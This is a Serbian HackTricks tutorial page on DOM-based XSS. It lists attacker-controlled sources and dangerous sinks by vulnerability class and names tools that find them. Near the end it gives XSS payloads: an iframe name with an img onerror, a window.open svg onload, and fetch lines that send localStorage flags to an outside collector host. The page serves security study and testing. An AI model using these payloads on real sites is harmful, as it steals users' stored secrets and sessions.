DOM XSS
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
DOM Vulnerabilities
DOM ranjivosti nastaju kada se podaci koje kontroliše napadač iz sources (npr. location.search, document.referrer, ili document.cookie) nebezbedno prebace u sinks. Sinks su funkcije ili objekti (npr. eval(), document.body.innerHTML) koji mogu izvršiti ili prikazati štetan sadržaj ako dobiju zlonamerne podatke.
- Sources su ulazi koje napadači mogu manipulirati, uključujući URLs, cookies, i web poruke.
- Sinks su potencijalno opasni endpoints gde zlonamerni podaci mogu dovesti do neželjenih posledica, poput izvršavanja skripti.
Rizik nastaje kada podaci teku od source ka sink bez odgovarajuće validacije ili sanitacije, što omogućava napade poput XSS.
Tip
Možete pronaći ažuriraniju listu sources and sinks na https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink ne prihvata script elemente u savremenim pregledačima, niti će svg onload događaji biti okinuti. To znači da ćete morati koristiti alternativne elemente kao što su img ili iframe.
Ovaj tip XSS verovatno je najteži za pronaći, jer morate pogledati unutar JS koda, videti da li on koristi neki objekat čiju vrednost kontrolišete, i u tom slučaju proveriti postoji li bilo koji način za zloupotrebu tog objekta da bi se izvršio proizvoljan JS.
Alati za pronalaženje
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Ekstenzija za pregledač koja proverava sve podatke koji stignu do potencijalnog sinka: https://github.com/kevin-mizu/domloggerpp
Primeri
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM javljaju se kada skripta upiše podatke, koje napadač može kontrolisati, u sink sposoban da inicira navigaciju između domena.
Ključno je razumeti da je izvršavanje proizvoljnog koda, kao što je javascript:alert(1), moguće ako kontrolišete početak URL-a na kojem se preusmeravanje dešava.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Manipulacija cookie-ima
Izvor: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based ranjivosti manipulacije cookie-ima se javljaju kada skripta ubacuje podatke, kojima napadač može upravljati, u vrednost cookie-ja. Ova ranjivost može dovesti do neočekivanog ponašanja stranice ako se cookie koristi unutar sajta. Dodatno, može se iskoristiti za izvođenje session fixation napada ako je cookie uključen u praćenje korisničkih sesija. The primary sink associated with this vulnerability is:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities nastaju kada skripta izvršava podatke koje napadač može kontrolisati, kao JavaScript code.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
Izvor: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities se javljaju kada skripta postavi svojstvo document.domain koristeći podatke koje napadač može kontrolisati.
Svojstvo document.domain igra ključnu ulogu u primeni same-origin policy od strane pregledača. Kada dve stranice iz različitih origins postave svoj document.domain na istu vrednost, mogu međusobno komunicirati bez ograničenja. Iako pregledači nameću određena ograničenja na vrednosti koje se mogu dodeliti document.domain, sprečavajući dodeljivanje potpuno nepovezanih vrednosti stvarnom origin-u stranice, postoje izuzeci. Tipično, pregledači dozvoljavaju korišćenje child ili parent domains.
Sinks:
document.domain
WebSocket-URL poisoning
Iz: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning nastaje kada skripta koristi podatke koje može kontrolisati kao ciljni URL za WebSocket konekciju.
Sinks:
Konstruktor WebSocket može dovesti do WebSocket-URL poisoning ranjivosti.
Link manipulation
Iz: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities nastaju kada skripta upisuje podatke koje napadač može kontrolisati kao cilj navigacije unutar tekuće stranice, kao što je klikabilni link ili URL za slanje forme.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Izvor: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities nastaju kada skripta upisuje attacker-controllable data into an Ajax request koji se šalje korišćenjem XmlHttpRequest objekta.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities se javljaju kada skripta prosledi podatke pod kontrolom napadača nekom API-ju za rad sa fajlovima kao parametar filename. Ova ranjivost može biti iskorišćena od strane napadača da konstruiše URL koji, ako ga poseti drugi korisnik, može navesti preglednik korisnika da otvori ili upiše proizvoljan lokalni fajl.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
Izvor: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities javljaju se kada skripta ubaci attacker-controllable data into a client-side SQL query in an unsafe way.
Sinks:
executeSql()
HTML5-storage manipulation
Izvor: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities nastaju kada skripta sačuva podatke kojima napadač može upravljati u HTML5 skladište web pregledača (localStorage ili sessionStorage). Iako sama ta radnja nije nužno sigurnosna ranjivost, postaje problematična ako aplikacija naknadno čita sačuvane podatke i obrađuje ih na nesiguran način. To bi moglo omogućiti napadaču da iskoristi mehanizam skladištenja za izvođenje drugih DOM-based attacks, kao što su cross-site scripting i JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
From: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities javljaju se kada skripta uključuje podatke koje napadač kontroliše u XPath query.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities javljaju se kada skripta ugradi attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities nastaju kada skripta pošalje attacker-controllable data as a web message to another document unutar browser-a. Jedan primer ranjive Web-message manipulation može se naći na PortSwigger’s Web Security Academy.
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities nastaju kada skripta upisuje attacker-controllable data to a field within the DOM koji se koristi u vidljivom UI ili client-side logici. Ova ranjivost može biti iskorišćena od attacker-a da konstruiše URL koji, ako ga poseti drugi korisnik, može promeniti izgled ili ponašanje client-side UI.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities javljaju se kada skripta prosledi attacker-controllable data unsafely to a problematic platform API. Ovo uključuje API-je koji, kada se pozovu, mogu naterati računar korisnika da troši prekomerne količine CPU-a ili prostora na disku. Takve ranjivosti mogu imati značajne posledice, na primer pregledač može ograničiti funkcionalnost veb-sajta odbijajući pokušaje čuvanja podataka u localStorage ili prekidajući zauzete skripte.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Implicitne globalne promenljive i zloupotreba window.name
Referenciranje name bez deklaracije (var/let/const) rezolvuje na window.name. Pošto window.name opstaje pri navigacijama između origin-a, napadač može unapred popuniti ime browsing konteksta HTML/JS-om i kasnije naterati kod žrtve da ga prikaže kao poverljive podatke:
- Otvorite/navigirajte cilj u imenovanom kontekstu koji kontrolišete:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Ili ponovo iskoristite
window.opensa pažljivo izrađenim target name:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Ako aplikacija kasnije uradi element.innerHTML = name (ili sličan sink) bez sanitizacije, string window.name koji kontroliše napadač će se izvršiti u ciljnom originu, omogućavajući DOM XSS i pristup same-origin storage.
Admin/automation tokovi: pre-seeded storage & javascript: navigacija
Automation bots (npr., Playwright) često prvo posete internu stranicu, postave tajne u localStorage/cookies, a zatim navigiraju ka user-supplied URL-ovima. Bilo koji DOM XSS primitive (uključujući zloupotrebu window.name) u tom toku može eksfiltrirati prethodno postavljenu tajnu:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Ako bot ne ograničava schemes, davanjem javascript: URL-a (javascript:fetch(...)) izvršava se u trenutnom originu bez nove navigacije, direktno leak-uje storage values.
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


